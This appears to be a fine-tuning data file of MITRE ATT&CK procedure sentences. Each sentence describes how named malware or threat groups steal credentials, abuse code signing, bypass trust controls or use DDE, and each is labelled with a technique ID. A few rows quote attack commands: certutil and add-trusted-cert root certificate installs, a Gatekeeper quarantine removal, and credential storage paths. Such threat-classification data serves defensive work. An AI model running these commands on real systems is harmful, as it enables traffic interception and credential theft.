"LaZagne can obtain credentials from chats, databases, mail, and WiFi.",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
QuasarRAT can obtain passwords from FTP clients.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
Smoke Loader searches for files named logins.json to parse for credentials.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
Stolen Pencil has used tools that are capable of obtaining credentials from saved mail.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
TeamTNT has searched for unsecured AWS credentials and Docker API credentials.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
"TrickBot can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP. Additionally, it searches for the "".vnc.lnk"" affix to steal VNC credentials.",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
XTunnel is capable of accessing locally stored passwords on victims.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
"jRAT can capture passwords from common chat applications such as MSN Messenger, AOL, Instant Messenger, and and Google Talk.",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
APT32 used Outlook Credential Dumper to harvest credentials stored in Windows registry.,['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
IceApple can harvest credentials from local and remote host registries.,['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
"PowerSploit has several modules that search the Windows Registry for stored credentials: ""Get-UnattendedInstallFile"", ""Get-Webconfig"", ""Get-ApplicationHost"", ""Get-SiteListPassword"", ""Get-CachedGPPPassword"", and ""Get-RegistryAutoLogon"".",['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
Reg may be used to find credentials in the Windows Registry.,['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
"TrickBot has retrieved PuTTY credentials by querying the ""Software\SimonTatham\Putty\Sessions"" registry key",['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
Valak can use the clientgrabber module to steal e-mail credentials from the Registry.,['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
"Kinsing has searched ""bash_history"" for credentials.",['T1552.003 - Unsecured Credentials: Bash History'],fine_tune
"APT29 obtained PKI keys, certificate files and the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.",['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
"During Operation Wocao, threat actors used Mimikatz to dump certificates and private keys from the Windows certificate store.",['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
Ebury has intercepted unencrypted private keys as well as private key pass-phrases.,['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
"Empire can use modules like ""Invoke-SessionGopher"" to extract private key and session information.",['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
Hildegard has searched for private keys in .ssh.,['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
Kinsing has searched for private keys.,['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
Machete has scanned and looked for cryptographic keys and certificate file extensions.,['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
"Mimikatz's ""CRYPTO::Extract"" module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.",['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
Rocke has used SSH private keys on the infected machine to spread its coinminer throughout a network.,['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
TeamTNT has searched for unsecured SSH keys.,['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
Hildegard has queried the Cloud Instance Metadata API for cloud credentials.,['T1552.005 - Unsecured Credentials: Cloud Instance Metadata API'],fine_tune
Peirates can query the query AWS and GCP metadata APIs for secrets.,['T1552.005 - Unsecured Credentials: Cloud Instance Metadata API'],fine_tune
TeamTNT has queried the AWS instance metadata service for credentials.,['T1552.005 - Unsecured Credentials: Cloud Instance Metadata API'],fine_tune
APT33 has used a variety of publicly available tools like Gpppassword to gather credentials.,['T1552.006 - Unsecured Credentials: Group Policy Preferences'],fine_tune
PowerSploit contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences.,['T1552.006 - Unsecured Credentials: Group Policy Preferences'],fine_tune
Peirates can query the Kubernetes API for secrets.,['T1552.007 - Kubernetes List Secrets'],fine_tune
Axiom has used digital certificates to deliver malware.,['T1553 - Subvert Trust Controls'],fine_tune
"OSX_OCEANLOTUS.D uses the command ""xattr -d com.apple.quarantine"" to remove the quarantine file attribute used by Gatekeeper.",['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],fine_tune
XCSSET has dropped a malicious applet into an app's `.../Contents/MacOS/` folder of a previously launched app to bypass Gatekeeper's security checks on first launch apps (prior to macOS 13).,['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],fine_tune
A QuasarRAT .dll file is digitally signed by a certificate from AirVPN.,['T1553.002 - Code Signing'],fine_tune
APT29 was able to get SUNBURST signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle.,['T1553.002 - Code Signing'],fine_tune
APT41 leveraged code-signing certificates to sign malware when targeting both gaming and non-gaming organizations.,['T1553.002 - Code Signing'],fine_tune
Anchor has been signed with valid certificates to evade detection by security tools.,['T1553.002 - Code Signing'],fine_tune
BLINDINGCAN has been signed with code-signing certificates such as CodeRipper.,['T1553.002 - Code Signing'],fine_tune
Bandook was signed with valid Certum certificates.,['T1553.002 - Code Signing'],fine_tune
Bazar has been signed with fake certificates including those appearing to be from VB CORPORATE PTY. LTD.,['T1553.002 - Code Signing'],fine_tune
CSPY Downloader has come signed with revoked certificates.,['T1553.002 - Code Signing'],fine_tune
ChChes samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked.,['T1553.002 - Code Signing'],fine_tune
Clop can use code signing to evade detection.,['T1553.002 - Code Signing'],fine_tune
Cobalt Strike can use self signed Java applets to execute signed applet attacks.,['T1553.002 - Code Signing'],fine_tune
CopyKittens digitally signed an executable with a stolen certificate from legitimate company AI Squared.,['T1553.002 - Code Signing'],fine_tune
Darkhotel has used code-signing certificates on its malware that are either forged due to weak keys or stolen. Darkhotel has also stolen certificates and signed backdoors and downloaders with them.,['T1553.002 - Code Signing'],fine_tune
"During Operation Honeybee, the threat actors deployed the MaoCheng dropper with a stolen Adobe Systems digital signature.",['T1553.002 - Code Signing'],fine_tune
Ebury has installed a self-signed RPM package mimicking the original system package on RPM based systems.,['T1553.002 - Code Signing'],fine_tune
"Ecipekac has used a valid, legitimate digital signature to evade detection.",['T1553.002 - Code Signing'],fine_tune
Ember Bear has used stolen certificates from Electrum Technologies GmbH to sign payloads.,['T1553.002 - Code Signing'],fine_tune
FIN6 has used Comodo code-signing certificates.,['T1553.002 - Code Signing'],fine_tune
"FIN7 has signed Carbanak payloads with legally purchased code signing certificates. FIN7 has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.",['T1553.002 - Code Signing'],fine_tune
"Gazer versions are signed with various valid certificates; one was likely faked and issued by Comodo for ""Solid Loop Ltd,"" and another was issued for ""Ultimate Computer Support Ltd.""",['T1553.002 - Code Signing'],fine_tune
HermeticWizard has been signed by valid certificates assigned to Hermetica Digital.,['T1553.002 - Code Signing'],fine_tune
Honeybee uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems.,['T1553.002 - Code Signing'],fine_tune
"Kimsuky has signed files with the name EGIS CO,. Ltd..",['T1553.002 - Code Signing'],fine_tune
Lazarus Group has digitally signed malware and utilities to evade detection.,['T1553.002 - Code Signing'],fine_tune
Leviathan has used stolen code signing certificates to sign malware.,['T1553.002 - Code Signing'],fine_tune
Molerats has used forged Microsoft code-signing certificates on malware.,['T1553.002 - Code Signing'],fine_tune
More_eggs has used a signed binary shellcode loader and a signed Dynamic Link Library (DLL) to create a reverse shell.,['T1553.002 - Code Signing'],fine_tune
Nerex drops a signed Microsoft DLL to disk.,['T1553.002 - Code Signing'],fine_tune
PROMETHIUM has signed code with self-signed certificates.,['T1553.002 - Code Signing'],fine_tune
Patchwork has signed malware with self-signed certificates from fictitious and spoofed legitimate software companies.,['T1553.002 - Code Signing'],fine_tune
QakBot can use signed loaders to evade detection.,['T1553.002 - Code Signing'],fine_tune
RTM samples have been signed with a code-signing certificates.,['T1553.002 - Code Signing'],fine_tune
SDelete is digitally signed by Microsoft.,['T1553.002 - Code Signing'],fine_tune
SUNBURST was digitally signed by SolarWinds from March - May 2020.,['T1553.002 - Code Signing'],fine_tune
Silence has used a valid certificate to sign their primary loader Silence.Downloader (aka TrueBot).,['T1553.002 - Code Signing'],fine_tune
Some Daserf samples were signed with a stolen digital certificate.,['T1553.002 - Code Signing'],fine_tune
SpicyOmelette has been signed with valid digital certificates.,['T1553.002 - Code Signing'],fine_tune
StrongPity has been signed with self-signed certificates.,['T1553.002 - Code Signing'],fine_tune
TrickBot has come with a signed downloader component.,['T1553.002 - Code Signing'],fine_tune
Turla has used valid digital certificates from Sysprint AG to sign its Epic dropper.,['T1553.002 - Code Signing'],fine_tune
UNC2452 was able to get SUNBURST signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle.,['T1553.002 - Code Signing'],fine_tune
Winnti Group used stolen certificates to sign its malware.,['T1553.002 - Code Signing'],fine_tune
Wizard Spider has used Digicert code-signing certificates for some of its malware.,['T1553.002 - Code Signing'],fine_tune
"Dok installs a root certificate to aid in Adversary-in-the-Middle actions using the command ""add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /tmp/filename"".",['T1553.004 - Subvert Trust Controls: Install Root Certificate'],fine_tune
RTM can add a certificate to the Windows store.,['T1553.004 - Subvert Trust Controls: Install Root Certificate'],fine_tune
"certutil can be used to install browser root certificates as a precursor to performing Adversary-in-the-Middle between connections to banking websites. Example command: ""certutil -addstore -f -user ROOT ProgramData\cert512121.der"".",['T1553.004 - Subvert Trust Controls: Install Root Certificate'],fine_tune
APT29 has embedded ISO images and VHDX files in HTML to evade Mark-of-the-Web.,['T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass'],fine_tune
Amadey has modified the `:Zone.Identifier` in the ADS area to zero.,['T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass'],fine_tune
TA505 has used .iso files to deploy malicious .lnk files.,['T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass'],fine_tune
"APT39 has used malware to turn off the ""RequireSigned"" feature which ensures only signed DLLs can be run on Windows.",['T1553.006 - Subvert Trust Controls: Code Signing Policy Modification'],fine_tune
"BlackEnergy has enabled the ""TESTSIGNING"" boot configuration option to facilitate loading of a driver component.",['T1553.006 - Subvert Trust Controls: Code Signing Policy Modification'],fine_tune
Hikit has attempted to disable driver signing verification by tampering with several Registry keys prior to the loading of a rootkit driver component.,['T1553.006 - Subvert Trust Controls: Code Signing Policy Modification'],fine_tune
Bonadan has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.,['T1554 - Compromise Host Software Binary'],fine_tune
Industroyer has used a Trojanized version of the Windows Notepad application for an additional backdoor persistence mechanism.,['T1554 - Compromise Host Software Binary'],fine_tune
Kobalos replaced the SSH client with a trojanized SSH client to steal credentials on compromised systems.,['T1554 - Compromise Host Software Binary'],fine_tune
"ThiefQuest searches through the ""/Users/"" folder looking for executable files. For each executable, ThiefQuest prepends a copy of itself to the beginning of the file. When the file is executed, the ThiefQuest code is executed first. ThiefQuest creates a hidden file, copies the original target executable to the file, then executes the new hidden file to maintain the appearance of normal behavior.",['T1554 - Compromise Host Software Binary'],fine_tune
"XCSSET uses a malicious browser application to replace the legitimate browser in order to continuously capture credentials, monitor web traffic, and download additional modules.",['T1554 - Compromise Host Software Binary'],fine_tune
A module in Prikormka collects passwords stored in applications installed on the victim.,['T1555 - Credentials from Password Stores'],fine_tune
APT39 has used the Smartftp Password Decryptor tool to decrypt FTP passwords.,['T1555 - Credentials from Password Stores'],fine_tune
Agent Tesla has the ability to steal credentials from FTP clients and wireless profiles.,['T1555 - Credentials from Password Stores'],fine_tune
"CosmicDuke collects user credentials, including passwords, for various programs including popular instant messaging applications and email clients as well as WLAN keys.",['T1555 - Credentials from Password Stores'],fine_tune
FIN6 has used the Stealer One credential stealer to target e-mail and file transfer utilities including FTP.,['T1555 - Credentials from Password Stores'],fine_tune
KGH_SPY can collect credentials from WINSCP.,['T1555 - Credentials from Password Stores'],fine_tune
Matryoshka is capable of stealing Outlook passwords.,['T1555 - Credentials from Password Stores'],fine_tune
"Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the credential vault and DPAPI.",['T1555 - Credentials from Password Stores'],fine_tune
NETWIRE can retrieve passwords from messaging and mail client applications.,['T1555 - Credentials from Password Stores'],fine_tune
OLDBAIT collects credentials from several email clients.,['T1555 - Credentials from Password Stores'],fine_tune
PLEAD has the ability to steal saved passwords from Microsoft Outlook.,['T1555 - Credentials from Password Stores'],fine_tune
PoshC2 can decrypt passwords stored in the RDCMan configuration file.,['T1555 - Credentials from Password Stores'],fine_tune
"Stealth Falcon malware gathers passwords from multiple sources, including Windows Credential Vault and Outlook.",['T1555 - Credentials from Password Stores'],fine_tune
UNC2452 used account credentials they obtained to attempt access to Group Managed Service Account (gMSA) passwords.,['T1555 - Credentials from Password Stores'],fine_tune
Calisto collects Keychain storage data and copies those passwords/tokens to a file.,['T1555.001 - Credentials from Password Stores: Keychain'],fine_tune
LaZagne can obtain credentials from macOS Keychains.,['T1555.001 - Credentials from Password Stores: Keychain'],fine_tune
MacMa can dump credentials from the macOS keychain.,['T1555.001 - Credentials from Password Stores: Keychain'],fine_tune
Proton gathers credentials in files for keychains.,['T1555.001 - Credentials from Password Stores: Keychain'],fine_tune
Keydnap uses the keychaindump project to read securityd memory.,['T1555.002 - Securityd Memory'],fine_tune
"A module in Prikormka gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
APT29 has stolen user's saved passwords from Chrome.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
APT37 has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Agent Tesla can gather credentials from a number of browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Ajax Security Team has used FireMalv custom-developed malware, which collected passwords from the Firefox browser storage.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Azorult can steal credentials from the victim's browser.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"BLUELIGHT can collect passwords stored in web browers, including Internet Explorer, Edge, Chrome, and Naver Whale.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"BlackEnergy has used a plug-in to gather credentials from web browsers including FireFox, Google Chrome, and Internet Explorer.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Carberp's passw.plug plugin can gather passwords saved in Opera, Internet Explorer, Safari, Firefox, and Chrome.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
ChChes steals credentials stored inside Internet Explorer.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Chaes can steal login credentials and stored financial information from the browser.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
CookieMiner can steal saved usernames and passwords in Chrome as well as credit card credentials.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Crimson contains a module to steal credentials from Web browsers on the victim machine.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Empire can use modules that extract passwords from common web browsers such as Firefox and Chrome.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
FIN6 has used the Stealer One credential stealer to target web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Inception used a browser plugin to steal passwords and sessions from Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Javali can capture login credentials from open browsers including Firefox, Chrome, Internet Explorer, and Edge.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"KGH_SPY has the ability to steal data from the Chrome, Edge, Firefox, Thunderbird, and Opera browsers.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
KeyBoy attempts to collect passwords from browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Kimsuky has used browser extensions including Google Chrome to steal passwords and cookies from browsers. Kimsuky has also used Nirsoft's WebBrowserPassView tool to dump the passwords obtained from victims.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
LAPSUS$ has obtained passwords and session tokens with the use of the Redline password stealer.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"LaZagne can obtain credentials from web browsers such as Google Chrome, Internet Explorer, and Firefox.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Lizar has a module to collect usernames and passwords stored in browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Lokibot has demonstrated the ability to steal credentials from multiple applications and data sources including Safari and the Chromium and Mozilla Firefox-based web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Machete collects stored credentials from several web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Magic Hound used FireMalv, custom-developed malware, which collected passwords from the Firefox browser storage.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Melcoz has the ability to steal credentials from web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Molerats used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"NETWIRE has the ability to steal credentials from web browsers including Internet Explorer, Opera, Yandex, and Chrome.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"OLDBAIT collects credentials from Internet Explorer, Mozilla Firefox, and Eudora.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"PLEAD can harvest saved credentials from browsers such as Google Chrome, Microsoft Internet Explorer, and Mozilla Firefox.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Patchwork dumped the login data database from ""\AppData\Local\Google\Chrome\User Data\Default\Login Data"".",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated with many sources such as Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, and Internet Explorer.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Proton gathers credentials for Google Chrome.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
QakBot has collected usernames and passwords from Firefox and Chrome.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
QuasarRAT can obtain passwords from common web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
ROKRAT can steal credentials stored in Web browsers by querying the sqlite database.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
RainyDay can use tools to collect credentials from web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
RedLeaves can gather browser usernames and passwords.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Sandworm Team's CredRaptor tool can collect saved passwords from various internet browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Smoke Loader searches for credentials stored from web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Some Backdoor.Oldrea samples contain a publicly available Web browser password recovery tool.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Stealth Falcon malware gathers passwords from multiple sources, including Internet Explorer, Firefox, and Chrome.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"TSCookie has the ability to steal saved passwords from the Internet Explorer, Edge, Firefox, and Chrome browsers.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"TrickBot can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge, sometimes using esentutl.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
Trojan.Karagany can steal data and credentials from browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
WarzoneRAT has the capability to grab passwords from numerous web browsers as well as from Outlook and Thunderbird email clients.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
XAgentOSX contains the getFirefoxPassword function to attempt to locate Firefox passwords.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"jRAT can capture passwords from common web browsers such as Internet Explorer, Google Chrome, and Firefox.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
njRAT has a module that steals passwords saved in victim web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
OilRig has used credential dumping tool named VALUEVAULT to steal credentials from the Windows Credential Manager.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],fine_tune
ROKRAT can steal credentials by leveraging the Windows Vault mechanism.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],fine_tune
RainyDay can use the QuarksPwDump tool to obtain local passwords and domain cached credentials.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],fine_tune
Turla has gathered credentials from the Windows Credential Manager tool.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],fine_tune
Valak can use a .NET compiled module named exchgrabber to enumerate credentials from the Credential Manager.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],fine_tune
"During Operation Wocao, threat actors accessed and collected credentials from password managers.",['T1555.005 - Password Managers'],fine_tune
MarkiRAT can gather information from the Keepass password manager.,['T1555.005 - Password Managers'],fine_tune
Operation Wocao has accessed and collected credentials from password managers.,['T1555.005 - Password Managers'],fine_tune
Proton gathers credentials in files for 1password.,['T1555.005 - Password Managers'],fine_tune
Threat Group-3390 obtained a KeePass database from a compromised host.,['T1555.005 - Password Managers'],fine_tune
TrickBot can steal passwords from the KeePass open source password manager.,['T1555.005 - Password Managers'],fine_tune
"Kessel has trojanized the <sode>ssh_login"" and ""user-auth_pubkey"" functions to steal plaintext credentials.",['T1556 - Modify Authentication Process'],fine_tune
SILENTTRINITY can create a backdoor in KeePass using a malicious config file and in TortoiseSVN using a registry hook.,['T1556 - Modify Authentication Process'],fine_tune
Chimera's malware has altered the NTLM authentication program on domain controllers to allow Chimera to login without a valid credential.,['T1556.001 - Domain Controller Authentication'],fine_tune
Remsec harvests plain-text credentials as a password filter registered on domain controllers.,['T1556.002 - Modify Authentication Process: Password Filter DLL'],fine_tune
"Strider has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to acquire credentials any time a domain, local user, or administrator logs in or changes a password.",['T1556.002 - Modify Authentication Process: Password Filter DLL'],fine_tune
Ebury can deactivate PAM modules to tamper with the sshd configuration.,['T1556.003 - Modify Authentication Process: Pluggable Authentication Modules'],fine_tune
Skidmap has the ability to replace the pam_unix.so file on an infected machine with its own malicious version that accepts a specific backdoor password for all users.,['T1556.003 - Modify Authentication Process: Pluggable Authentication Modules'],fine_tune
SYNful Knock has the capability to add its own custom backdoor password when it modifies the operating system of the affected network device.,['T1556.004 - Network Device Authentication'],fine_tune
"APT29 has edited the `Microsoft.IdentityServer.Servicehost.exe.config` file to load a malicious DLL into the AD FS process, thereby enabling persistent access to any service federated with AD FS for a user with a specified User Principal Name.",['T1556.007 - Hybrid Identity'],fine_tune
Dok proxies web traffic to potentially monitor and alter victim HTTP(S) traffic.,['T1557 - Adversary-in-the-Middle'],fine_tune
Impacket modules like ntlmrelayx and smbrelayx can be used in conjunction with Network Sniffing and LLMNR/NBT-NS Poisoning and SMB Relay to gather NetNTLM credentials for Brute Force or relay attacks that can gain code execution.,['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],fine_tune
"Lazarus Group executed Responder using the command ""[Responder file path] -i [IP address] -rPv"" on a compromised host to harvest credentials and move laterally.",['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],fine_tune
Pupy can sniff plaintext network credentials and use NBNS Spoofing to poison name services.,['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],fine_tune
"Wizard Spider has used the Invoke-Inveigh PowerShell cmdlets, likely for name service poisoning.",['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],fine_tune
Empire can leverage its implementation of Mimikatz to obtain and use golden tickets.,['T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket'],fine_tune
Ke3chang has used Mimikatz to generate Kerberos golden tickets.,['T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket'],fine_tune
Mimikatz's kerberos module can create golden tickets.,['T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket'],fine_tune
AADInternals can be used to forge Kerberos tickets using the password hash of the AZUREADSSOACC account.,['T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket'],fine_tune
Empire can leverage its implementation of Mimikatz to obtain and use silver tickets.,['T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket'],fine_tune
APT29 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline.,['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],fine_tune
FIN7 has used Kerberoasting for credential access and to enable lateral movement.,['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],fine_tune
Operation Wocao has used PowerSploit's Invoke-Kerberoast module to request encrypted service tickets and bruteforce the passwords of Windows service accounts offline.,['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],fine_tune
"PowerSploit's ""Invoke-Kerberoast"" module can request service tickets and return crackable ticket hashes.",['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],fine_tune
UNC2452 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline.,['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],fine_tune
Cyclops Blink has the ability to create a pipe to enable inter-process communication.,['T1559 - Inter-Process Communication'],fine_tune
HyperStack can connect to the IPC$ share on remote machines.,['T1559 - Inter-Process Communication'],fine_tune
FunnyDream can use com objects identified with `CLSID_ShellLink`(`IShellLink` and `IPersistFile`) and `WScript.Shell`(`RegWrite` method) to enable persistence mechanisms.,['T1559.001 - Component Object Model'],fine_tune
"Gamaredon Group malware can insert malicious macros into documents using a ""Microsoft.Office.Interop"" object.",['T1559.001 - Component Object Model'],fine_tune
Gelsemium can use the `IARPUinstallerStringLauncher` COM interface are part of its UAC bypass process.,['T1559.001 - Component Object Model'],fine_tune
"InvisiMole can use the ""ITaskService"", ""ITaskDefinition"" and ""ITaskSettings"" COM interfaces to schedule a task.",['T1559.001 - Component Object Model'],fine_tune
"MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook.",['T1559.001 - Component Object Model'],fine_tune
Neoichor can use the Internet Explorer (IE) COM interface to connect and receive commands from C2.,['T1559.001 - Component Object Model'],fine_tune
Ramsay can use the Windows COM API to schedule tasks and maintain persistence.,['T1559.001 - Component Object Model'],fine_tune
APT28 has delivered JHUHUGIT and Koadic by executing PowerShell commands through DDE in Word documents.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
APT37 has used Windows DDE for execution of commands and a malicious VBS.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
BITTER has executed OLE objects using Microsoft Equation Editor to download and run malicious payloads.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
Cobalt Group has sent malicious Word OLE compound documents to victims.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
FIN7 spear phishing campaigns have included malicious Word documents with DDE execution.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
Gallmaker attempted to exploit Microsoft’s DDE protocol in order to gain access to victim machines and for execution.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
HAWKBALL has used an OLE object that uses Equation Editor to drop the embedded shellcode.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
KeyBoy uses the Dynamic Data Exchange (DDE) protocol to download remote payloads.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
POWERSTATS can use DDE to execute additional payloads on compromised hosts.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
Patchwork leveraged the DDE protocol to deliver their malware.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
PoetRAT was delivered with documents using DDE to execute malicious code.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
RTM can search for specific strings within browser tabs using a Dynamic Data Exchange mechanism.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
TA505 has leveraged malicious Word documents that abused DDE.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
Valak can execute tasks via OLE.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
ADVSTORESHELL encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.,['T1560 - Archive Collected Data'],fine_tune
APT32's backdoor has used LZMA compression and RC4 encryption before exfiltration.,['T1560 - Archive Collected Data'],fine_tune
